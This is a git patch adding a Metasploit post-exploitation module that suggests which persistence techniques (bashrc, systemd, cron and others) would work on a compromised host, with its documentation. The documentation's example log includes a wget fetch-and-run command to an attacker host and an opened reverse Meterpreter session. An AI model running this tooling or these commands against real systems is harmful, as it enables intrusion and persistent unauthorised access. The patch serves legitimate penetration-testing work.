From e855938ff850dbcdca7f63fa8f3cd2b154ce20b1 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 23 Sep 2025 16:40:43 -0400 Subject: [PATCH 1/2] persistence suggester --- .../post/multi/recon/persistence_suggester.md | 177 ++++++++ .../post/multi/recon/persistence_suggester.rb | 424 ++++++++++++++++++ 2 files changed, 601 insertions(+) create mode 100644 documentation/modules/post/multi/recon/persistence_suggester.md create mode 100644 modules/post/multi/recon/persistence_suggester.rb diff --git a/documentation/modules/post/multi/recon/persistence_suggester.md b/documentation/modules/post/multi/recon/persistence_suggester.md new file mode 100644 index 0000000000000..36e4fa20f9fa0 --- /dev/null +++ b/documentation/modules/post/multi/recon/persistence_suggester.md @@ -0,0 +1,177 @@ +## Vulnerable Application + +This module suggests persistence modules that can be used. +The modules are suggested based on the architecture and platform +that the user has a shell opened as well as the available exploits +in meterpreter. +It's important to note that not all modules will be checked. +Exploits are chosen based on these conditions: session type, +platform, architecture, and required default options. + +## Verification Steps + +1. Start msfconsole +2. Get a shell/meterpreter on a box +3. Do: `use post/multi/recon/persistence_suggester` +4. Do: `set session #` +5. Do: `run` +6. You should get information about which persistence modules will work. + +## Options + +### ValidateArch + +This option lets us toggle whether or not a mismatch in session and module architecture should be validated or ignored. + +### ValidatePlatform + +This option lets us toggle whether or not a mismatch in session and module platform should be validated or ignored. + +### ValidateMeterpreterCommands + +This option lets us toggle whether or not Meterpreter commands that are missing from the current Meterpreter implementation should be validated or ignored. + +### Colors + +Similar to the option used for `HttpTrace`. This lets us change the colors used to show valid, invalid and ignored options or incompatibilities. Unsetting this option results in no colored output. + +## Scenarios + +### Ubuntu 24.04 User Shell + +#### User Shell + +``` +└─$ ./msfconsole -q +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO fTSGK2Dy --no-check-certificate http://1.1.1.1:8082/l; chmod +x fTSGK2Dy; ./fTSGK2Dy& disown +msf exploit(multi/script/web_delivery) > +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:34530) at 2025-09-23 16:35:57 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 24.04 (Linux 6.8.0-31-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: ubuntu +meterpreter > background +[*] Backgrounding session 1... +``` + +#### Persistence Suggester + +``` +msf exploit(multi/script/web_delivery) > use post/multi/recon/persistence_suggester +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf post(multi/recon/persistence_suggester) > set session 1 +session => 1 +msf post(multi/recon/persistence_suggester) > exploit +[*] 2.2.2.2 - Collecting persistence modules for x64/linux... +[*] 2.2.2.2 - The following 15 exploit checks are being tried: +[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager +[*] 2.2.2.2 - exploit/linux/persistence/autostart +[*] 2.2.2.2 - exploit/linux/persistence/bash_profile +[*] 2.2.2.2 - exploit/linux/persistence/docker_image +[*] 2.2.2.2 - exploit/linux/persistence/init_openrc +[*] 2.2.2.2 - exploit/linux/persistence/init_systemd +[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin +[*] 2.2.2.2 - exploit/linux/persistence/motd +[*] 2.2.2.2 - exploit/linux/persistence/rc_local +[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager +[*] 2.2.2.2 - exploit/multi/persistence/at +[*] 2.2.2.2 - exploit/multi/persistence/cron +[*] 2.2.2.2 - exploit/multi/persistence/joplin_plugin +[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin +[*] 2.2.2.2 - exploit/windows/persistence/image_exec_options +[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager: The target is not exploitable. /etc/apt/apt.conf.d/ not writable +[*] 2.2.2.2 - exploit/linux/persistence/autostart: The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment +[+] 2.2.2.2 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc +[*] 2.2.2.2 - exploit/linux/persistence/docker_image: The target is not exploitable. docker is required +[*] 2.2.2.2 - exploit/linux/persistence/init_openrc: The target is not exploitable. /etc/init.d/ isnt writable +[+] 2.2.2.2 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based +[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin: The target is not exploitable. Kate not found +[*] 2.2.2.2 - exploit/linux/persistence/motd: The target is not exploitable. /etc/update-motd.d/ is not writable +[*] 2.2.2.2 - exploit/linux/persistence/rc_local: The target is not exploitable. /etc/ isnt writable +[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager: The target is not exploitable. /usr/local/bin/ not writable +[*] 2.2.2.2 - exploit/multi/persistence/at: The target is not exploitable. does not exist +[+] 2.2.2.2 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found +[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin: The target is not exploitable. No vaults found + +[*] 2.2.2.2 - Valid modules for session 1: +============================ + + # Name Potentially Vulnerable? Check Result + - ---- ----------------------- ------------ + 1 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc + 2 exploit/linux/persistence/init_systemd Yes The target appears to be vulnerable. /tmp/ is writable and system is systemd based + 3 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found + 4 exploit/linux/persistence/apt_package_manager No The target is not exploitable. /etc/apt/apt.conf.d/ not writable + 5 exploit/linux/persistence/autostart No The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment + 6 exploit/linux/persistence/docker_image No The target is not exploitable. docker is required + 7 exploit/linux/persistence/init_openrc No The target is not exploitable. /etc/init.d/ isnt writable + 8 exploit/linux/persistence/kate_plugin No The target is not exploitable. Kate not found + 9 exploit/linux/persistence/motd No The target is not exploitable. /etc/update-motd.d/ is not writable + 10 exploit/linux/persistence/rc_local No The target is not exploitable. /etc/ isnt writable + 11 exploit/linux/persistence/yum_package_manager No The target is not exploitable. /usr/local/bin/ not writable + 12 exploit/multi/persistence/at No The target is not exploitable. does not exist + 13 exploit/multi/persistence/obsidian_plugin No The target is not exploitable. No vaults found + + +[*] 2.2.2.2 - Current Session Info: +[*] 2.2.2.2 - Session Type: meterpreter +[*] 2.2.2.2 - Architecture: x64 +[*] 2.2.2.2 - Platform: linux +[*] 2.2.2.2 - Incompatible modules for session 1: +=================================== + + # Name Reasons Platform Architecture Session Type + - ---- ------- -------- ------------ ------------ + 1 exploit/multi/persistence/joplin_plugin Not Compatible (platform) Unix cmd meterpreter, shell + 2 exploit/windows/persistence/image_exec_options Missing required module options (IMAGE_FILE). Not Compatible (platform) Windows No defined architectures meterpreter + +[*] Post module execution completed +msf post(multi/recon/persistence_suggester) > notes + +Notes +===== + + Time Host Service Port Protocol Type Data + ---- ---- ------- ---- -------- ---- ---- + 2025-09-23 20:29:52 UTC 2.2.2.2 persistence.suggested_module {"exploit/linux/persistence/bash_profile"=>"The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc", + "exploit/linux/persistence/init_systemd"=>"The target appears to be vulnerable. /tmp/ is writable and system is systemd based", + "exploit/multi/persistence/cron"=>"The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found"} + 2025-09-23 20:35:56 UTC 2.2.2.2 host.os.session_fingerprint {:name=>"2.2.2.2", :os=>"Ubuntu 24.04 (Linux 6.8.0-31-generic)", :arch=>"x64"} +``` \ No newline at end of file diff --git a/modules/post/multi/recon/persistence_suggester.rb b/modules/post/multi/recon/persistence_suggester.rb new file mode 100644 index 0000000000000..986bf0f237936 --- /dev/null +++ b/modules/post/multi/recon/persistence_suggester.rb @@ -0,0 +1,424 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Persistence Exploit Suggester', + 'Description' => %q{ + This module suggests persistence modules that can be used. + The modules are suggested based on the architecture and platform + that the user has a shell opened as well as the available exploits + in meterpreter. + It's important to note that not all modules will be checked. + Exploits are chosen based on these conditions: session type, + platform, architecture, and required default options. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h00die' ], + 'Platform' => all_platforms, + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options [ + Msf::OptInt.new('SESSION', [ true, 'The session to run this module on' ]), + Msf::OptBool.new('SHOWDESCRIPTION', [true, 'Displays a detailed description for the available exploits', false]) + ] + + register_advanced_options( + [ + # most linux persistence modules are arch-cmd but for payload purposes only + # but usually we end up with a meterpreter session, thus making these invalid + # so disable this check by default + Msf::OptBool.new('ValidateArch', [true, 'Validate architecture', false]), + Msf::OptBool.new('ValidatePlatform', [true, 'Validate platform', true]), + Msf::OptBool.new('ValidateMeterpreterCommands', [true, 'Validate Meterpreter commands', false]), + Msf::OptString.new('Colors', [false, 'Valid, Invalid and Ignored colors for module checks (unset to disable)', 'grn/red/blu']) + ] + ) + end + + def all_platforms + Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase } + end + + def session_arch + # Prefer calling native arch when available, as most LPEs will require this (e.g. x86, x64) as opposed to Java/Python Meterpreter's values (e.g. Java, Python) + session.respond_to?(:native_arch) ? session.native_arch : session.arch + end + + def is_module_arch?(mod) + mod_arch = mod.target.arch || mod.arch + mod_arch.include?(session_arch) + rescue StandardError => e + print_error "Failed to check module arch for #{mod.fullname} => #{e}" + end + + def is_module_wanted?(mod) + mod[:result][:incompatibility_reasons].empty? + end + + def is_session_type?(mod) + # There are some modules that do not define any compatible session types. + # We could assume that means the module can run on all session types, + # Or we could consider that as incorrect module metadata. + mod.session_types.include?(session.type) + end + + def is_module_platform?(mod) + platform_obj = Msf::Module::Platform.find_platform session.platform + return false if mod.target.nil? + + module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms + module_platforms.include? platform_obj + rescue ArgumentError => e + # When not found, find_platform raises an ArgumentError + elog('Could not find a platform', error: e) + return false + end + + def has_required_module_options?(mod) + get_all_missing_module_options(mod).empty? + end + + def get_all_missing_module_options(mod) + missing_options = [] + mod.options.each_pair do |option_name, option| + missing_options << option_name if option.required && option.default.nil? && mod.datastore[option_name].blank? + end + missing_options + end + + def valid_incompatibility_reasons(mod, verify_reasons) + # As we can potentially ignore some `reasons` (e.g. accepting arch values which are, on paper, not compatible), + # this keeps track of valid reasons why we will not consider the module that we are evaluating to be valid. + valid_reasons = [] + valid_reasons << "Missing required module options (#{get_all_missing_module_options(mod).join('. ')})" unless verify_reasons[:has_required_module_options] + + incompatible_opts = [] + incompatible_opts << 'architecture' unless verify_reasons[:is_module_arch] + incompatible_opts << 'platform' unless verify_reasons[:is_module_platform] + incompatible_opts << 'session type' unless verify_reasons[:is_session_type] + valid_reasons << "Not Compatible (#{incompatible_opts.join(', ')})" if incompatible_opts.any? + + valid_reasons << 'Missing/unloadable Meterpreter commands' if verify_reasons[:missing_meterpreter_commands].any? + valid_reasons + end + + def set_module_options(mod) + ignore_list = ['ACTION', 'TARGET'].freeze + datastore.each_pair do |k, v| + mod.datastore[k] = v unless ignore_list.include?(k.upcase) + end + if !mod.datastore['SESSION'] && session.present? + mod.datastore['SESSION'] = session.sid + end + end + + def set_module_target(mod) + session_platform = Msf::Module::Platform.find_platform(session.platform) + target_index = mod.targets.find_index do |target| + # If the target doesn't define its own compatible platforms or architectures, default to the parent (module) values. + target_platforms = target.platform&.platforms || mod.platform.platforms + target_architectures = target.arch || mod.arch + + target_platforms.include?(session_platform) && target_architectures.include?(session_arch) + end + mod.datastore['Target'] = target_index if target_index + end + + def setup + return unless session + + print_status "Collecting persistence modules for #{session.session_type}..." + + setup_validation_options + setup_color_options + + # Collects persistence modules into an array + @persistence_modules = [] + exploit_refnames = framework.exploits.module_refnames + exploit_refnames.each_with_index do |name, index| + print "%bld%blu[*]%clr Collecting exploit #{index + 1} / #{exploit_refnames.count}\r" + next unless name.include? '/persistence/' + + mod = framework.exploits.create name + next unless mod + + set_module_options mod + set_module_target mod + verify_result = verify_mod(mod) + @persistence_modules << { module: mod, result: verify_result } if verify_result[:has_check] + end + end + + def verify_mod(mod) + return { has_check: false } unless mod.is_a?(Msf::Exploit::Local) && mod.has_check? + + result = { + has_check: true, + is_module_platform: (@validate_platform ? is_module_platform?(mod) : true), + is_module_arch: (@validate_arch ? is_module_arch?(mod) : true), + has_required_module_options: has_required_module_options?(mod), + missing_meterpreter_commands: (@validate_meterpreter_commands && session.type == 'meterpreter') ? meterpreter_session_incompatibility_reasons(session) : [], + is_session_type: is_session_type?(mod) + } + result[:incompatibility_reasons] = valid_incompatibility_reasons(mod, result) + result + end + + def setup_validation_options + @validate_arch = datastore['ValidateArch'] + @validate_platform = datastore['ValidatePlatform'] + @validate_meterpreter_commands = datastore['ValidateMeterpreterCommands'] + end + + def setup_color_options + @valid_color, @invalid_color, @ignored_color = + (datastore['Colors'] || '').split('/') + + @valid_color = "%#{@valid_color}" unless @valid_color.blank? + @invalid_color = "%#{@invalid_color}" unless @invalid_color.blank? + @ignored_color = "%#{@ignored_color}" unless @ignored_color.blank? + end + + def show_found_exploits + unless datastore['VERBOSE'] + print_status "#{@persistence_modules.length} exploit checks are being tried..." + return + end + + vprint_status "The following #{@persistence_modules.length} exploit checks are being tried:" + @persistence_modules.each do |x| + vprint_status x[:module].fullname + end + end + + def run + runnable_exploits = @persistence_modules.select { |mod| is_module_wanted?(mod) } + if runnable_exploits.empty? + print_error 'No suggestions available.' + vprint_line + vprint_session_info + vprint_status unwanted_modules_table(@persistence_modules.reject { |mod| is_module_wanted?(mod) }) + return + end + + show_found_exploits + results = runnable_exploits.map.with_index do |mod, index| + print "%bld%blu[*]%clr Running check method for exploit #{index + 1} / #{runnable_exploits.count}\r" + begin + checkcode = mod[:module].check + rescue StandardError => e + elog("#Local Persistence Suggester failed with: #{e.class} when using #{mod[:module].shortname}", error: e) + vprint_error "Check with module #{mod[:module].fullname} failed with error #{e.class}" + next { module: mod[:module], errors: ['The check raised an exception.'] } + end + + if checkcode.nil? + vprint_error "Check failed with #{mod[:module].fullname} for unknown reasons" + next { module: mod[:module], errors: ['The check failed for unknown reasons.'] } + end + + # See def is_check_interesting? + unless is_check_interesting? checkcode + vprint_status "#{mod[:module].fullname}: #{checkcode.message}" + next { module: mod[:module], errors: [checkcode.message] } + end + + # Prints the full name and the checkcode message for the exploit + print_good "#{mod[:module].fullname}: #{checkcode.message}" + + # If the datastore option is true, a detailed description will show + if datastore['SHOWDESCRIPTION'] + # Formatting for the description text + Rex::Text.wordwrap(Rex::Text.compress(mod[:module].description), 2, 70).split(/\n/).each do |line| + print_line line + end + end + + next { module: mod[:module], checkcode: checkcode.message } + end + + print_line + print_status valid_modules_table(results) + + vprint_line + vprint_session_info + vprint_status unwanted_modules_table(@persistence_modules.reject { |mod| is_module_wanted?(mod) }) + + report_data = {} + results.each do |result| + report_data[result[:module].fullname] = result[:checkcode] if result[:checkcode] + end + + report_note({ + host: session.session_host, + type: 'persistence.suggested_module', + data: report_data + }) + end + + def valid_modules_table(results) + name_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + check_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + + # Split all the results by their checkcode. + # We want the modules that returned a checkcode to be at the top. + checkcode_rows, without_checkcode_rows = results.partition { |result| result[:checkcode] } + rows = (checkcode_rows + without_checkcode_rows).map.with_index do |result, index| + color = result[:checkcode] ? @valid_color : @invalid_color + check_res = result.fetch(:checkcode) { result[:errors].join('. ') } + name_styler.merge!({ result[:module].fullname => color }) + check_styler.merge!({ check_res => color }) + + [ + index + 1, + result[:module].fullname, + result[:checkcode] ? 'Yes' : 'No', + check_res + ] + end + + Rex::Text::Table.new( + 'Header' => "Valid modules for session #{session.sid}:", + 'Indent' => 1, + 'Columns' => [ '#', 'Name', 'Potentially Vulnerable?', 'Check Result' ], + 'SortIndex' => -1, + 'WordWrap' => false, # Don't wordwrap as it messes up coloured output when it is broken up into more than one line + 'ColProps' => { + 'Name' => { + 'Stylers' => [name_styler] + }, + 'Potentially Vulnerable?' => { + 'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => @valid_color, 'No' => @invalid_color })] + }, + 'Check Result' => { + 'Stylers' => [check_styler] + } + }, + 'Rows' => rows + ) + end + + def unwanted_modules_table(unwanted_modules) + arch_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + platform_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + session_type_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + + rows = unwanted_modules.map.with_index do |mod, index| + begin + platforms = mod[:module].target.platform&.platforms&.any? ? mod[:module].target.platform.platforms : mod[:module].platform.platforms + rescue NoMethodError + platforms = nil + end + platforms ||= [] + begin + arch = mod[:module].target.arch&.any? ? mod[:module].target.arch : mod[:module].arch + rescue NoMethodError + arch = nil + end + arch ||= [] + + arch.each do |a| + if a != session_arch + if @validate_arch + color = @invalid_color + else + color = @ignored_color + end + else + color = @valid_color + end + + arch_styler.merge!({ a.to_s => color }) + end + + platforms.each do |module_platform| + if module_platform != ::Msf::Module::Platform.find_platform(session.platform) + if @validate_platform + color = @invalid_color + else + color = @ignored_color + end + else + color = @valid_color + end + + platform_styler.merge!({ module_platform.realname => color }) + end + + mod[:module].session_types.each do |session_type| + color = session_type == session.type ? @valid_color : @invalid_color + session_type_styler.merge!(session_type.to_s => color) + end + + [ + index + 1, + mod[:module].fullname, + mod[:result][:incompatibility_reasons].join('. '), + platforms.any? ? platforms.map(&:realname).sort.join(', ') : 'No defined platforms', + arch.any? ? arch.sort.join(', ') : 'No defined architectures', + mod[:module].session_types.any? ? mod[:module].session_types.sort.join(', ') : 'No defined session types' + ] + end + + Rex::Text::Table.new( + 'Header' => "Incompatible modules for session #{session.sid}:", + 'Indent' => 1, + 'Columns' => [ '#', 'Name', 'Reasons', 'Platform', 'Architecture', 'Session Type' ], + 'WordWrap' => false, + 'ColProps' => { + 'Architecture' => { + 'Stylers' => [arch_styler] + }, + 'Platform' => { + 'Stylers' => [platform_styler] + }, + 'Session Type' => { + 'Stylers' => [session_type_styler] + } + }, + 'Rows' => rows + ) + end + + def vprint_session_info + vprint_status 'Current Session Info:' + vprint_status " Session Type: #{session.type}" + vprint_status " Architecture: #{session_arch}" + vprint_status " Platform: #{session.platform}" + end + + def is_check_interesting?(checkcode) + [ + Msf::Exploit::CheckCode::Vulnerable, + Msf::Exploit::CheckCode::Appears, + Msf::Exploit::CheckCode::Detected + ].include? checkcode + end + + def print_status(msg = '') + super(session ? "#{session.session_host} - #{msg}" : msg) + end + + def print_good(msg = '') + super(session ? "#{session.session_host} - #{msg}" : msg) + end + + def print_error(msg = '') + super(session ? "#{session.session_host} - #{msg}" : msg) + end +end From 09475fc2b96385bf01689f9bf5bf53c4b133cb14 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 25 Sep 2025 16:38:50 -0400 Subject: [PATCH 2/2] peer review --- .../post/multi/recon/persistence_suggester.md | 1 + .../multi/recon/local_exploit_suggester.rb | 5 ++-- .../post/multi/recon/persistence_suggester.rb | 23 +++++++++++++++++-- 3 files changed, 25 insertions(+), 4 deletions(-) diff --git a/documentation/modules/post/multi/recon/persistence_suggester.md b/documentation/modules/post/multi/recon/persistence_suggester.md index 36e4fa20f9fa0..48ef8e20b8b2b 100644 --- a/documentation/modules/post/multi/recon/persistence_suggester.md +++ b/documentation/modules/post/multi/recon/persistence_suggester.md @@ -34,6 +34,7 @@ This option lets us toggle whether or not Meterpreter commands that are missing ### Colors Similar to the option used for `HttpTrace`. This lets us change the colors used to show valid, invalid and ignored options or incompatibilities. Unsetting this option results in no colored output. +Defaults to `grn/red/blu`. Additional options are [here](https://github.com/rapid7/rex-text/blob/a72151d409cd812978f63ad0c330efbc8f44b977/lib/rex/text/color.rb#L13) ## Scenarios diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index 527ef575de5a6..539aefdebe11d 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -73,9 +73,10 @@ def is_session_type?(mod) end def is_module_platform?(mod) - platform_obj = Msf::Module::Platform.find_platform session.platform return false if mod.target.nil? + platform_obj = Msf::Module::Platform.find_platform session.platform + module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms module_platforms.include? platform_obj rescue ArgumentError => e @@ -260,7 +261,7 @@ def run report_note( host: session.session_host, type: 'local.suggested_exploits', - data: { :suggested_exploits => report_data } + data: { suggested_exploits: report_data } ) end diff --git a/modules/post/multi/recon/persistence_suggester.rb b/modules/post/multi/recon/persistence_suggester.rb index 986bf0f237936..f1eda52af4e35 100644 --- a/modules/post/multi/recon/persistence_suggester.rb +++ b/modules/post/multi/recon/persistence_suggester.rb @@ -45,11 +45,25 @@ def initialize(info = {}) Msf::OptBool.new('ValidateArch', [true, 'Validate architecture', false]), Msf::OptBool.new('ValidatePlatform', [true, 'Validate platform', true]), Msf::OptBool.new('ValidateMeterpreterCommands', [true, 'Validate Meterpreter commands', false]), + # https://github.com/rapid7/rex-text/blob/a72151d409cd812978f63ad0c330efbc8f44b977/lib/rex/text/color.rb#L13 Msf::OptString.new('Colors', [false, 'Valid, Invalid and Ignored colors for module checks (unset to disable)', 'grn/red/blu']) ] ) end + def valid_colors?(color_str = datastore['Colors']) + tokens = color_str.split('/') + tokens.each do |tok| + print_warning "#{tok} is unlikely to have any functionality for printing colors." if tok == 'clr' + + unless Rex::Text::Color::SUPPORTED_FORMAT_CODES.include?("%#{tok}") + print_error "#{tok} is NOT valid color. Please see https://github.com/rapid7/rex-text/blob/a72151d409cd812978f63ad0c330efbc8f44b977/lib/rex/text/color.rb#L13 for valid color options" + return false + end + end + true + end + def all_platforms Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase } end @@ -78,9 +92,10 @@ def is_session_type?(mod) end def is_module_platform?(mod) - platform_obj = Msf::Module::Platform.find_platform session.platform return false if mod.target.nil? + platform_obj = Msf::Module::Platform.find_platform session.platform + module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms module_platforms.include? platform_obj rescue ArgumentError => e @@ -145,7 +160,11 @@ def setup print_status "Collecting persistence modules for #{session.session_type}..." setup_validation_options - setup_color_options + if valid_colors? + setup_color_options + else + fail_with(Failure::BadConfig, 'Colors options set incorrectly') + end # Collects persistence modules into an array @persistence_modules = []